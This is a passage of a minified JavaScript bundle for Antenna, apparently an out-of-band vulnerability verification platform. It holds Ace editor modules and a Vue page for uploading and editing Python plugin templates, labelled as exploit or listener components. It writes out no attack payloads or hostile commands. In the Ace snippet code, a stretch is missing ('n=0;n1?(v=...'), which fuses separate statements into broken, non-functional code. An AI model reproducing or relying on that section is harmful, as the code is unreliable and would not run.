g+")",m="\\\\(x[0-9A-Fa-f]{2}|[0-7]{3}|[\\\\abfnrtv'\"]|U[0-9A-Fa-f]{8}|u[0-9A-Fa-f]{4})";this.$rules={start:[{token:"comment",regex:"#.*$"},{token:"string",regex:s+'"{3}',next:"qqstring3"},{token:"string",regex:s+'"(?=.)',next:"qqstring"},{token:"string",regex:s+"'{3}",next:"qstring3"},{token:"string",regex:s+"'(?=.)",next:"qstring"},{token:"constant.numeric",regex:"(?:"+p+"|\\d+)[jJ]\\b"},{token:"constant.numeric",regex:p},{token:"constant.numeric",regex:c+"[lL]\\b"},{token:"constant.numeric",regex:c+"\\b"},{token:n,regex:"[a-zA-Z_$][a-zA-Z0-9_$]*\\b"},{token:"keyword.operator",regex:"\\+|\\-|\\*|\\*\\*|\\/|\\/\\/|%|<<|>>|&|\\||\\^|~|<|>|<=|=>|==|!=|<>|="},{token:"paren.lparen",regex:"[\\[\\(\\{]"},{token:"paren.rparen",regex:"[\\]\\)\\}]"},{token:"text",regex:"\\s+"}],qqstring3:[{token:"constant.language.escape",regex:m},{token:"string",regex:'"{3}',next:"start"},{defaultToken:"string"}],qstring3:[{token:"constant.language.escape",regex:m},{token:"string",regex:"'{3}",next:"start"},{defaultToken:"string"}],qqstring:[{token:"constant.language.escape",regex:m},{token:"string",regex:"\\\\$",next:"qqstring"},{token:"string",regex:'"|$',next:"start"},{defaultToken:"string"}],qstring:[{token:"constant.language.escape",regex:m},{token:"string",regex:"\\\\$",next:"qstring"},{token:"string",regex:"'|$",next:"start"},{defaultToken:"string"}]}};n.inherits(o,s),t.PythonHighlightRules=o})),ace.define("ace/mode/folding/pythonic",["require","exports","module","ace/lib/oop","ace/mode/folding/fold_mode"],(function(e,t,i){"use strict";var n=e("../../lib/oop"),s=e("./fold_mode").FoldMode,o=t.FoldMode=function(e){this.foldingStartMarker=new RegExp("([\\[{])(?:\\s*)$|("+e+")(?:\\s*)(?:#.*)?$")};n.inherits(o,s),function(){this.getFoldWidgetRange=function(e,t,i){var n=e.getLine(i),s=n.match(this.foldingStartMarker);if(s)return s[1]?this.openingBracketBlock(e,s[1],i,s.index):s[2]?this.indentationBlock(e,i,s.index+s[2].length):this.indentationBlock(e,i)}}.call(o.prototype)})),ace.define("ace/mode/python",["require","exports","module","ace/lib/oop","ace/mode/text","ace/mode/python_highlight_rules","ace/mode/folding/pythonic","ace/range"],(function(e,t,i){"use strict";var n=e("../lib/oop"),s=e("./text").Mode,o=e("./python_highlight_rules").PythonHighlightRules,r=e("./folding/pythonic").FoldMode,a=e("../range").Range,l=function(){this.HighlightRules=o,this.foldingRules=new r("\\:"),this.$behaviour=this.$defaultBehaviour};n.inherits(l,s),function(){this.lineCommentStart="#",this.getNextLineIndent=function(e,t,i){var n=this.$getIndent(t),s=this.getTokenizer().getLineTokens(t,e),o=s.tokens;if(o.length&&"comment"==o[o.length-1].type)return n;if("start"==e){var r=t.match(/^.*[\{\(\[:]\s*$/);r&&(n+=i)}return n};var e={pass:1,return:1,raise:1,break:1,continue:1};this.checkOutdent=function(t,i,n){if("\r\n"!==n&&"\r"!==n&&"\n"!==n)return!1;var s=this.getTokenizer().getLineTokens(i.trim(),t).tokens;if(!s)return!1;do{var o=s.pop()}while(o&&("comment"==o.type||"text"==o.type&&o.value.match(/^\s+$/)));return!!o&&("keyword"==o.type&&e[o.value])},this.autoOutdent=function(e,t,i){i+=1;var n=this.$getIndent(t.getLine(i)),s=t.getTabString();n.slice(-s.length)==s&&t.remove(new a(i,n.length-s.length,i,n.length))},this.$id="ace/mode/python"}.call(l.prototype),t.Mode=l}))},"8a9d":function(e,t,i){"use strict";i("b330")},"8fb4":function(e,t,i){"use strict";i("f2b3")},"95b8":function(e,t){ace.define("ace/theme/chrome",["require","exports","module","ace/lib/dom"],(function(e,t,i){t.isDark=!1,t.cssClass="ace-chrome",t.cssText='.ace-chrome .ace_gutter {background: #ebebeb;color: #333;overflow : hidden;}.ace-chrome .ace_print-margin {width: 1px;background: #e8e8e8;}.ace-chrome {background-color: #FFFFFF;color: black;}.ace-chrome .ace_cursor {color: black;}.ace-chrome .ace_invisible {color: rgb(191, 191, 191);}.ace-chrome .ace_constant.ace_buildin {color: rgb(88, 72, 246);}.ace-chrome .ace_constant.ace_language {color: rgb(88, 92, 246);}.ace-chrome .ace_constant.ace_library {color: rgb(6, 150, 14);}.ace-chrome .ace_invalid {background-color: rgb(153, 0, 0);color: white;}.ace-chrome .ace_fold {}.ace-chrome .ace_support.ace_function {color: rgb(60, 76, 114);}.ace-chrome .ace_support.ace_constant {color: rgb(6, 150, 14);}.ace-chrome .ace_support.ace_type,.ace-chrome .ace_support.ace_class.ace-chrome .ace_support.ace_other {color: rgb(109, 121, 222);}.ace-chrome .ace_variable.ace_parameter {font-style:italic;color:#FD971F;}.ace-chrome .ace_keyword.ace_operator {color: rgb(104, 118, 135);}.ace-chrome .ace_comment {color: #236e24;}.ace-chrome .ace_comment.ace_doc {color: #236e24;}.ace-chrome .ace_comment.ace_doc.ace_tag {color: #236e24;}.ace-chrome .ace_constant.ace_numeric {color: rgb(0, 0, 205);}.ace-chrome .ace_variable {color: rgb(49, 132, 149);}.ace-chrome .ace_xml-pe {color: rgb(104, 104, 91);}.ace-chrome .ace_entity.ace_name.ace_function {color: #0000A2;}.ace-chrome .ace_heading {color: rgb(12, 7, 255);}.ace-chrome .ace_list {color:rgb(185, 6, 144);}.ace-chrome .ace_marker-layer .ace_selection {background: rgb(181, 213, 255);}.ace-chrome .ace_marker-layer .ace_step {background: rgb(252, 255, 0);}.ace-chrome .ace_marker-layer .ace_stack {background: rgb(164, 229, 101);}.ace-chrome .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgb(192, 192, 192);}.ace-chrome .ace_marker-layer .ace_active-line {background: rgba(0, 0, 0, 0.07);}.ace-chrome .ace_gutter-active-line {background-color : #dcdcdc;}.ace-chrome .ace_marker-layer .ace_selected-word {background: rgb(250, 250, 255);border: 1px solid rgb(200, 200, 250);}.ace-chrome .ace_storage,.ace-chrome .ace_keyword,.ace-chrome .ace_meta.ace_tag {color: rgb(147, 15, 128);}.ace-chrome .ace_string.ace_regex {color: rgb(255, 0, 0)}.ace-chrome .ace_string {color: #1A1AA6;}.ace-chrome .ace_entity.ace_other.ace_attribute-name {color: #994409;}.ace-chrome .ace_indent-guide {background: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==") right repeat-y;}';var n=e("../lib/dom");n.importCssString(t.cssText,t.cssClass)}))},a749:function(e,t,i){"use strict";i.r(t);var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i("div",["components"===e.$route.name?i("div",[i("div",{staticClass:"div_card"},[i("div",{staticClass:"title clearfix"},[i("div",{staticClass:"left"},[e._v(" 组件管理 "),i("a-tooltip",{attrs:{title:"组件管理的额外说明"}},[i("a-icon",{attrs:{type:"question-circle"}})],1)],1),i("div",{staticClass:"right"},[e._v(" 组件加载 "),i("a-button",{attrs:{shape:"circle",icon:"sync",size:"small"},on:{click:e.addComponet}})],1)]),i("div",{staticClass:"content"},[i("a-divider"),i("p",[e._v(" 模板是漏洞辅助验证平台的核心模块,您可以选择列表中的模板进行验证服务的构建。如果您需要新增其他模板,请按照以下的流程进行操作。 ")]),i("a-row",[i("a-col",{staticClass:"wb-m-t-10 wb-m-b-16",attrs:{span:18,offset:3}},[i("a-steps",{attrs:{size:"small"}},[i("a-step",{attrs:{title:"查看模板"}}),i("a-step",{attrs:{title:"提交模板代码",status:"process"}}),i("a-step",{attrs:{title:"官方审核完成合并代码",status:"process"}})],1)],1)],1)],1)]),i("AppPage",{ref:"child"})],1):i("router-view")],1)},s=[],o=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i("div",{staticClass:"app-list"},[i("a-list",{staticClass:"card-list",attrs:{grid:{gutter:24,lg:3,md:2,sm:1,xs:1},dataSource:e.dataSource},scopedSlots:e._u([{key:"renderItem",fn:function(t){return i("a-list-item",{},["new"==t.id?[i("a-button",{staticClass:"new-btn",attrs:{type:"dashed"},on:{click:e.showModal}},[i("div",{staticStyle:{"font-size":"90px"}},[e._v("+")])])]:[i("a-card",{attrs:{hoverable:!0}},[i("a-card-meta",[i("div",{attrs:{slot:"title"},slot:"title"},[e._v(" "+e._s(t.title)+" "),0===t.type?i("a-tag",{attrs:{color:"#108ee9"}},[e._v("利用组件")]):i("a-tag",{attrs:{color:"#f2ab24"}},[e._v("监听组件")])],1),i("a-avatar",{staticClass:"card-avatar",staticStyle:{backgroundcolor:"#87d068"},attrs:{slot:"avatar",icon:"fire"},slot:"avatar"}),i("div",{staticClass:"meta-content",attrs:{slot:"description"},slot:"description"},[e._v(e._s(t.desc?t.desc:"暂无介绍"))])],1),i("p",{staticClass:"Textright wb-m-b-1"},[e._v(e._s(t.author))]),i("template",{staticClass:"ant-card-actions",slot:"actions"},[i("a",{attrs:{href:"javascript:void(0)"},on:{click:function(i){return e.jump(t)}}},[e._v("使用文档")]),i("a",{attrs:{href:"javascript:void(0)"},on:{click:function(i){return e.editComponent(t)}}},[e._v("修改组件")]),i("a",{attrs:{href:"javascript:void(0)"},on:{click:function(i){return e.delete_template(t)}}},[e._v("删除组件")])])],2)]],2)}}])}),i("a-pagination",{staticClass:"Textright",attrs:{"page-size-options":e.pageSizeOptions,total:e.total,"show-size-changer":"","page-size":e.pageSize},on:{showSizeChange:e.onShowSizeChange,change:e.changePage},scopedSlots:e._u([{key:"buildOptionText",fn:function(t){return["50"!==t.value?i("span",[e._v(e._s(t.value)+"条/页")]):e._e(),"50"===t.value?i("span",[e._v("全部")]):e._e()]}}]),model:{value:e.current,callback:function(t){e.current=t},expression:"current"}}),e.visible?i("newConponets",{attrs:{visible:e.visible,titles:e.titles,content:e.content}}):e._e()],1)},r=[],a=(i("380f"),i("f64c")),l=i("0995"),c=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i("div",[i("a-modal",{attrs:{title:e.titles,visible:e.visible,maskClosable:!1,width:"1200px",footer:""},on:{cancel:e.init}},[i("section",{staticStyle:{display:"flex"}},[i("div",{staticStyle:{width:"600px"}},[i("a-form",{attrs:{form:e.form},on:{submit:e.handleSubmit}},[i("a-form-item",e._b({attrs:{label:"组件标题"}},"a-form-item",e.waiformItemLayout,!1),[i("a-input",{directives:[{name:"decorator",rawName:"v-decorator",value:["title",{rules:[{required:!0,message:"请输入组件标题,例如DNS协议监听组件"}]}],expression:"[\n 'title',\n { rules: [{ required: true, message: '请输入组件标题,例如DNS协议监听组件' }] },\n ]"}],staticStyle:{width:"80%"},attrs:{required:!0,placeholder:"请输入组件标题,例如DNS协议监听组件"}})],1),i("a-form-item",e._b({attrs:{label:"组件名称"}},"a-form-item",e.waiformItemLayout,!1),[i("a-input",{directives:[{name:"decorator",rawName:"v-decorator",value:["name",{rules:[{required:!0,message:"请输入组件名称,例如DNS"}]}],expression:"[\n 'name',\n { rules: [{ required: true, message: '请输入组件名称,例如DNS' }] },\n ]"}],staticStyle:{width:"80%"},attrs:{required:!0,placeholder:"请输入组件名称,例如DNS"}})],1),i("a-form-item",e._b({attrs:{label:"组件介绍"}},"a-form-item",e.waiformItemLayout,!1),[i("a-textarea",{directives:[{name:"decorator",rawName:"v-decorator",value:["desc",{rules:[{message:"请输入组件介绍"}]}],expression:"['desc', { rules: [{ message: '请输入组件介绍' }] }]"}],staticStyle:{width:"80%"},attrs:{placeholder:"一段简短的组件介绍"}})],1),i("a-form-item",e._b({attrs:{label:"生成链接格式"}},"a-form-item",e.waiformItemLayout,!1),[i("a-input",{directives:[{name:"decorator",rawName:"v-decorator",value:["payload",{rules:[{required:!0,message:"请输入生成链接格式"}]}],expression:"[\n 'payload',\n { rules: [{ required: true, message: '请输入生成链接格式' }] },\n ]"}],staticStyle:{width:"80%"},attrs:{required:!0,placeholder:"使用http协议为http://{domain}/{key}"}})],1),i("a-form-item",e._b({attrs:{label:"配置信息",required:!0}},"a-form-item",e.waiformItemLayout,!1),[e._l(e.waiArray,(function(t,n){return i("div",{key:n,staticClass:"alertContain"},[1!==e.waiArray.length?i("a-icon",{staticClass:"closeIcon",attrs:{type:"close"},on:{click:function(t){return e.cloneContainer(n)}}}):e._e(),i("a-form-item",e._b({attrs:{label:"配置名",required:!0}},"a-form-item",e.formItemLayout,!1),[i("a-input",{directives:[{name:"decorator",rawName:"v-decorator",value:["item_name-"+t,{rules:[{required:!0,message:"请输入配置名"}]}],expression:"[\n `item_name-${t}`,\n { rules: [{ required: true, message: '请输入配置名' }] },\n ]"}],staticStyle:{width:"80%"},attrs:{placeholder:"请输入配置名"}})],1),e._l(e.form.getFieldValue("keys")[t],(function(n,s){return i("a-form-item",e._b({key:n,attrs:{label:0===s?"参数名":"",required:!0}},"a-form-item",0===s?e.formItemLayout:e.formItemLayoutWithOutLabel,!1),[i("a-input",{directives:[{name:"decorator",rawName:"v-decorator",value:["config["+n+"-"+t+"]",{validateTrigger:["change","blur"],rules:[{required:!0,whitespace:!0,message:"请输入参数名"}]}],expression:"[\n `config[${k}-${t}]`,\n {\n validateTrigger: ['change', 'blur'],\n rules: [\n {\n required: true,\n whitespace: true,\n message: '请输入参数名',\n },\n ],\n },\n ]"}],staticStyle:{width:"80%"},attrs:{placeholder:"请输入参数名"}}),e.form.getFieldValue("keys")[t].length>1?i("a-icon",{staticClass:"dynamic-delete-button",staticStyle:{"margin-left":"5px","font-size":"20px"},attrs:{type:"minus-circle-o",disabled:1===e.form.getFieldValue("keys").length},on:{click:function(){return e.remove(t,n)}}}):e._e(),e.form.getFieldValue("keys")[t].length-1===s?i("a-icon",{staticClass:"dynamic-delete-button",staticStyle:{"margin-left":"5px","font-size":"20px"},attrs:{type:"plus-circle",disabled:1===e.form.getFieldValue("keys").length},on:{click:function(){return e.add(t)}}}):e._e()],1)}))],2)})),i("a-button",{staticStyle:{width:"60%"},attrs:{type:"dashed"},on:{click:e.addwai}},[i("a-icon",{attrs:{type:"plus"}}),e._v(" 添加配置信息 ")],1)],2),i("a-form-item",e._b({attrs:{label:"组件类型"}},"a-form-item",e.waiformItemLayout,!1),[i("a-radio-group",{directives:[{name:"decorator",rawName:"v-decorator",value:["type",{rules:[{required:!0,message:"请选择组件类型"}]}],expression:"['type', { rules: [{ required: true, message: '请选择组件类型' }] }]"}]},[i("a-radio",{attrs:{value:1}},[e._v("监听组件")]),i("a-radio",{attrs:{value:0}},[e._v("利用组件")])],1)],1),i("a-form-item",e._b({attrs:{label:"公开组件"}},"a-form-item",e.waiformItemLayout,!1),[i("a-radio-group",{directives:[{name:"decorator",rawName:"v-decorator",value:["is_private",{rules:[{required:!0,message:"请选择是否公开组件"}]}],expression:"[\n 'is_private',\n { rules: [{ required: true, message: '请选择是否公开组件' }] },\n ]"}]},[i("a-radio",{attrs:{value:1}},[e._v("是")]),i("a-radio",{attrs:{value:0}},[e._v("否")])],1)],1),i("a-form-item",e._b({attrs:{label:"配置支持多选"}},"a-form-item",e.waiformItemLayout,!1),[i("a-radio-group",{directives:[{name:"decorator",rawName:"v-decorator",value:["choice_type",{rules:[{required:!0,message:"请选择是否配置支持多选"}]}],expression:"[\n 'choice_type',\n { rules: [{ required: true, message: '请选择是否配置支持多选' }] },\n ]"}]},[i("a-radio",{attrs:{value:1}},[e._v("是")]),i("a-radio",{attrs:{value:0}},[e._v("否")])],1)],1),i("a-form-item",e._b({attrs:{label:"上传插件",required:!0}},"a-form-item",e.waiformItemLayout,!1),[i("a-upload",{directives:[{name:"decorator",rawName:"v-decorator",value:["file_name",{valuePropName:"fileList",getValueFromEvent:e.normFile},{rules:[{required:!0,message:"请上传文件"}]}],expression:"[\n 'file_name',\n {\n valuePropName: 'fileList',\n getValueFromEvent: normFile,\n },\n { rules: [{ required: true, message: '请上传文件' }] },\n ]"}],attrs:{name:"code",action:"/api/v1/templates/manage/upload_template/",withCredentials:!0,headers:e.headers,multiple:!1,accept:"text/x-python-script"},on:{change:e.fileChage}},[i("a-button",[i("a-icon",{attrs:{type:"upload"}}),e._v(" 点击上传 ")],1)],1)],1),i("a-form-item",{staticStyle:{position:"absolute",right:"10px",bottom:"-10px","z-index":"100"}},[i("a-button",{staticClass:"mgLeft10",on:{click:e.init}},[e._v("取消")]),i("a-button",{staticClass:"mgLeft10",attrs:{type:"primary","html-type":"submit"}},[e._v("确定")])],1)],1)],1),i("div",{staticClass:"edtorClass"},[i("a-icon",{directives:[{name:"show",rawName:"v-show",value:e.flag,expression:"flag"}],staticClass:"edtorIcon",attrs:{type:"lock",theme:"twoTone"},on:{click:function(t){return e.handleChange(1)}}}),i("a-icon",{directives:[{name:"show",rawName:"v-show",value:!e.flag,expression:"!flag"}],staticClass:"edtorIcon",attrs:{type:"unlock",theme:"twoTone"},on:{click:function(t){return e.handleChange(2)}}}),i("editor",{attrs:{options:{readOnly:e.flag},lang:"python",width:"600",height:"90%"},on:{init:e.initEditor},model:{value:e.code,callback:function(t){e.code=t},expression:"code"}})],1)])])],1)},h=[];let u=1,d=1;var g={name:"newComponents",props:{visible:!1,titles:"",content:""},components:{editor:i("7c9e")},data(){return{code:"",flag:!0,headers:{Authorization:"Token "+sessionStorage.getItem("token")},waiArray:[0],waiformItemLayout:{labelCol:{sm:{span:6}},wrapperCol:{sm:{span:18}}},formItemLayout:{labelCol:{sm:{span:5}},wrapperCol:{sm:{span:19}}},formItemLayoutWithOutLabel:{wrapperCol:{sm:{span:19,offset:5}}},layoutBottomWithOutLabel:{wrapperCol:{sm:{span:8,offset:16}}}}},created(){this.form=this.$form.createForm(this,{name:"dynamic_form_item"}),this.content?this.editConfig():this.form.getFieldDecorator("keys",{initialValue:[[0]],preserve:!0})},mounted(){},methods:{handleChange(e){this.flag=1!==e},fileChage(e){const t=e.file;"done"===t.status&&(this.code=t.response.data.code)},initEditor:function(e){i("8882"),i("95b8"),i("2099")},editConfig(){let e=[];this.waiArray=[],u=0,d=0,this.content.template_item_info.forEach(t=>{let i=[];this.form.getFieldDecorator("item_name-"+d,{initialValue:t.item_name}),t.config.forEach(e=>{this.form.getFieldDecorator(`config[${u}-${d}]`,{initialValue:e}),i.push(u++)}),e[d]=i,this.waiArray.push(d++)}),this.form.getFieldDecorator("is_private",{initialValue:this.content.is_private,preserve:!0}),this.form.getFieldDecorator("choice_type",{initialValue:this.content.choice_type,preserve:!0}),this.form.getFieldDecorator("desc",{initialValue:this.content.desc,preserve:!0}),this.form.getFieldDecorator("payload",{initialValue:this.content.payload,preserve:!0}),this.form.getFieldDecorator("title",{initialValue:this.content.title,preserve:!0}),this.form.getFieldDecorator("name",{initialValue:this.content.name,preserve:!0}),this.form.getFieldDecorator("keys",{initialValue:e,preserve:!0}),this.form.getFieldDecorator("type",{initialValue:this.content.type,preserve:!0}),this.code=this.content.code},addwai(){const{form:e}=this,t=e.getFieldValue("keys");t[d]=Array.of(u++);const i=t;e.setFieldsValue({keys:i}),this.waiArray.push(d++)},remove(e,t){const{form:i}=this,n=i.getFieldValue("keys");1!==n.length&&(n[e]=n[e].filter(e=>e!==t),i.setFieldsValue({keys:n}))},add(e){const{form:t}=this,i=t.getFieldValue("keys");i[e]=i[e].concat(u++);const n=i;t.setFieldsValue({keys:n})},cloneContainer(e){this.waiArray.splice(e,1)},configInfo(e){let t=[];Object.keys(e).forEach(i=>{if(i.includes("item_name")){let n=[];const s=e.config?e.config:[];Object.keys(s).forEach(t=>{i.split("-")[1]===t.split("-")[1]&&n.push(e.config[t])}),t.push({item_name:e[i],config:n}),delete e[i]}}),delete e.keys,e.template_item_info=t},callingInter(e){this.content?l["a"].update_template({...e,template_id:this.content.id,code:this.code}).then(e=>{this.init(),this.$parent.initData()}):l["a"].templatesManage({...e,code:this.code}).then(e=>{this.init(),this.$parent.initData()})},handleSubmit(e){e.preventDefault(),this.code?this.form.validateFields((e,t)=>{e||(this.configInfo(t),this.callingInter(t))}):this.$message.warn("上传组件不能为空")},init(){this.$parent.content="",this.form.resetFields(),u=1,d=1,this.$parent.visible=!1},normFile(e){return Array.isArray(e)?e:e&&2==e.fileList.length?[e.fileList[1]]:[e.fileList[0]]}}},f=g,p=(i("8fb4"),i("2877")),m=Object(p["a"])(f,c,h,!1,null,"173c12bf",null),A=m.exports,v={name:"Article",components:{newConponets:A},data(){return{dataSource:[],pageSizeOptions:["10","20","30","40","50"],current:1,pageSize:10,total:50,visible:!1,titles:"新增组件",content:""}},created(){this.initData()},methods:{showModal(){this.titles="新增组件",this.visible=!0},editComponent(e){l["a"].template_info({template:e.id}).then(t=>{1===t.code?(this.visible=!0,this.titles="编辑组件",this.content={...e,...t.data}):a["a"].error(t.message)})},delete_template(e){l["a"].delete_template({template_id:e.id}).then(e=>{1===e.code?(this.initData(),this.$message.success("删除成功")):a["a"].error(e.message)})},jump(e){window.open("https://github.com/wuba/Antenna#readme","_blank")},initData(e={}){let t={page_size:this.pageSize,page:this.current,...e};l["a"].getTemplatesManage(t).then(e=>{if(1===e.code){let{data:t}=e;this.total=t.count,t.results.unshift({id:"new"}),this.dataSource=t.results}else this.$message.error(e.message)})},onShowSizeChange(e,t){this.pageSize=t,this.initData()},changePage(e,t){let i={page_size:t,page:e};this.initData(i)}}},C=v,w=(i("8a9d"),Object(p["a"])(C,o,r,!1,null,"3c071100",null)),F=w.exports,b=i("c24c"),E=i.n(b),y={components:{AppPage:F},data(){return{}},created(){},mounted(){this.newNav()},methods:{newNav(){let e=sessionStorage.getItem("firstLogin"),t=!0;if("true"==e){const e=new E.a({animate:!1,nextBtnText:"下一步",allowClose:!1,onDeselected:()=>{t&&sessionStorage.setItem("firstLogin","false"),t=!0}});e.defineSteps([{element:document.getElementsByClassName("ant-menu-item")[2],popover:{title:"组件管理",description:"通过新建和编辑组件补充平台支持的能力",position:"right"},showButtons:!0,closeBtnText:"跳出",onNext:()=>{t=!1,this.$router.push({path:"/message"})}},{element:document.getElementsByClassName("ant-menu-item")[3],popover:{title:"消息管理",description:"可以获取所有的组件链接的请求信息",position:"right"},showButtons:!0,closeBtnText:"跳出",onNext:()=>{t=!1,this.$router.push({path:"/open"})}},{element:document.getElementsByClassName("ant-menu-item")[4],popover:{title:"OpenAPI",description:"获取Antenna系统通过api调用的接口",position:"right"},showButtons:!0,doneBtnText:"下一步",closeBtnText:"跳出",onNext:()=>{t=!1}},{element:document.getElementsByClassName("ant-dropdown-link")[0],popover:{title:"个人账户",description:"修改密码、退出系统",position:"left"},showButtons:!0,doneBtnText:"完成",closeBtnText:"跳出",onNext:()=>{}}]),e.start()}},addComponet(){l["a"].initial_template().then(e=>{1==e.code&&(this.$refs.child.initData(),this.$message("组件加载成功"))})}}},$=y,S=Object(p["a"])($,n,s,!1,null,"697212eb",null);t["default"]=S.exports},b330:function(e,t,i){},b378:function(e,t){ace.define("ace/snippets",["require","exports","module","ace/lib/oop","ace/lib/event_emitter","ace/lib/lang","ace/range","ace/anchor","ace/keyboard/hash_handler","ace/tokenizer","ace/lib/dom","ace/editor"],(function(e,t,i){"use strict";var n=e("./lib/oop"),s=e("./lib/event_emitter").EventEmitter,o=e("./lib/lang"),r=e("./range").Range,a=e("./anchor").Anchor,l=e("./keyboard/hash_handler").HashHandler,c=e("./tokenizer").Tokenizer,h=r.comparePoints,u=function(){this.snippetMap={},this.snippetNameMap={}};(function(){n.implement(this,s),this.getTokenizer=function(){function e(e,t,i){return e=e.substr(1),/^\d+$/.test(e)&&!i.inFormatString?[{tabstopId:parseInt(e,10)}]:[{text:e}]}function t(e){return"(?:[^\\\\"+e+"]|\\\\.)"}return u.$tokenizer=new c({start:[{regex:/:/,onMatch:function(e,t,i){return i.length&&i[0].expectIf?(i[0].expectIf=!1,i[0].elseBranch=i[0],[i[0]]):":"}},{regex:/\\./,onMatch:function(e,t,i){var n=e[1];return"}"==n&&i.length||-1!="`$\\".indexOf(n)?e=n:i.inFormatString&&("n"==n||"t"==n?e="\n":-1!="ulULE".indexOf(n)&&(e={changeCase:n,local:n>"a"})),[e]}},{regex:/}/,onMatch:function(e,t,i){return[i.length?i.shift():e]}},{regex:/\$(?:\d+|\w+)/,onMatch:e},{regex:/\$\{[\dA-Z_a-z]+/,onMatch:function(t,i,n){var s=e(t.substr(1),i,n);return n.unshift(s[0]),s},next:"snippetVar"},{regex:/\n/,token:"newline",merge:!1}],snippetVar:[{regex:"\\|"+t("\\|")+"*\\|",onMatch:function(e,t,i){i[0].choices=e.slice(1,-1).split(",")},next:"start"},{regex:"/("+t("/")+"+)/(?:("+t("/")+"*)/)(\\w*):?",onMatch:function(e,t,i){var n=i[0];return n.fmtString=e,e=this.splitRegex.exec(e),n.guard=e[1],n.fmt=e[2],n.flag=e[3],""},next:"start"},{regex:"`"+t("`")+"*`",onMatch:function(e,t,i){return i[0].code=e.splice(1,-1),""},next:"start"},{regex:"\\?",onMatch:function(e,t,i){i[0]&&(i[0].expectIf=!0)},next:"start"},{regex:"([^:}\\\\]|\\\\.)*:?",token:"",next:"start"}],formatString:[{regex:"/("+t("/")+"+)/",token:"regex"},{regex:"",onMatch:function(e,t,i){i.inFormatString=!0},next:"start"}]}),u.prototype.getTokenizer=function(){return u.$tokenizer},u.$tokenizer},this.tokenizeTmSnippet=function(e,t){return this.getTokenizer().getLineTokens(e,t).tokens.map((function(e){return e.value||e}))},this.$getDefaultValue=function(e,t){if(/^[A-Z]\d+$/.test(t)){var i=t.substr(1);return(this.variables[t[0]+"__"]||{})[i]}if(/^\d+$/.test(t))return(this.variables.__||{})[t];if(t=t.replace(/^TM_/,""),e){var n=e.session;switch(t){case"CURRENT_WORD":var s=n.getWordRange();case"SELECTION":case"SELECTED_TEXT":return n.getTextRange(s);case"CURRENT_LINE":return n.getLine(e.getCursorPosition().row);case"PREV_LINE":return n.getLine(e.getCursorPosition().row-1);case"LINE_INDEX":return e.getCursorPosition().column;case"LINE_NUMBER":return e.getCursorPosition().row+1;case"SOFT_TABS":return n.getUseSoftTabs()?"YES":"NO";case"TAB_SIZE":return n.getTabSize();case"FILENAME":case"FILEPATH":return"";case"FULLNAME":return"Ace"}}},this.variables={},this.getVariableValue=function(e,t){return this.variables.hasOwnProperty(t)?this.variables[t](e,t)||"":this.$getDefaultValue(e,t)||""},this.tmStrFormat=function(e,t,i){var n=t.flag||"",s=t.guard;s=new RegExp(s,n.replace(/[^gi]/,""));var o=this.tokenizeTmSnippet(t.fmt,"formatString"),r=this,a=e.replace(s,(function(){r.variables.__=arguments;for(var e=r.resolveVariables(o,i),t="E",n=0;n1?(v=t[t.length-1].length,A+=t.length-1):v+=e.length,C+=e}else e.start?e.end={row:A,column:v}:e.start={row:A,column:v}}));var w=e.getSelectionRange(),F=e.session.replace(w,C),b=new d(e),E=e.inVirtualSelectionMode&&e.selection.index;b.addTabstops(a,w.start,F,E)},this.insertSnippet=function(e,t){var i=this;if(e.inVirtualSelectionMode)return i.insertSnippetForSelection(e,t);e.forEachSelection((function(){i.insertSnippetForSelection(e,t)}),null,{keepOrder:!0}),e.tabstopManager&&e.tabstopManager.tabNext()},this.$getScope=function(e){var t=e.session.$mode.$id||"";if(t=t.split("/").pop(),"html"===t||"php"===t){"php"!==t||e.session.$mode.inlinePhp||(t="html");var i=e.getCursorPosition(),n=e.session.getState(i.row);"object"===typeof n&&(n=n[0]),n.substring&&("js-"==n.substring(0,3)?t="javascript":"css-"==n.substring(0,4)?t="css":"php-"==n.substring(0,4)&&(t="php"))}return t},this.getActiveScopes=function(e){var t=this.$getScope(e),i=[t],n=this.snippetMap;return n[t]&&n[t].includeScopes&&i.push.apply(i,n[t].includeScopes),i.push("_"),i},this.expandWithTab=function(e,t){var i=this,n=e.forEachSelection((function(){return i.expandSnippetForSelection(e,t)}),null,{keepOrder:!0});return n&&e.tabstopManager&&e.tabstopManager.tabNext(),n},this.expandSnippetForSelection=function(e,t){var i,n=e.getCursorPosition(),s=e.session.getLine(n.row),o=s.substring(0,n.column),r=s.substr(n.column),a=this.snippetMap;return this.getActiveScopes(e).some((function(e){var t=a[e];return t&&(i=this.findMatchingSnippet(t,o,r)),!!i}),this),!!i&&(t&&t.dryRun||(e.session.doc.removeInLine(n.row,n.column-i.replaceBefore.length,n.column+i.replaceAfter.length),this.variables.M__=i.matchBefore,this.variables.T__=i.matchAfter,this.insertSnippetForSelection(e,i.content),this.variables.M__=this.variables.T__=null),!0)},this.findMatchingSnippet=function(e,t,i){for(var n=e.length;n--;){var s=e[n];if((!s.startRe||s.startRe.test(t))&&((!s.endRe||s.endRe.test(i))&&(s.startRe||s.endRe)))return s.matchBefore=s.startRe?s.startRe.exec(t):[""],s.matchAfter=s.endRe?s.endRe.exec(i):[""],s.replaceBefore=s.triggerRe?s.triggerRe.exec(t)[0]:"",s.replaceAfter=s.endTriggerRe?s.endTriggerRe.exec(i)[0]:"",s}},this.snippetMap={},this.snippetNameMap={},this.register=function(e,t){var i=this.snippetMap,n=this.snippetNameMap,s=this;function r(e){return e&&!/^\^?\(.*\)\$?$|^\\b$/.test(e)&&(e="(?:"+e+")"),e||""}function a(e,t,i){return e=r(e),t=r(t),i?(e=t+e,e&&"$"!=e[e.length-1]&&(e+="$")):(e+=t,e&&"^"!=e[0]&&(e="^"+e)),new RegExp(e)}function l(e){e.scope||(e.scope=t||"_"),t=e.scope,i[t]||(i[t]=[],n[t]={});var r=n[t];if(e.name){var 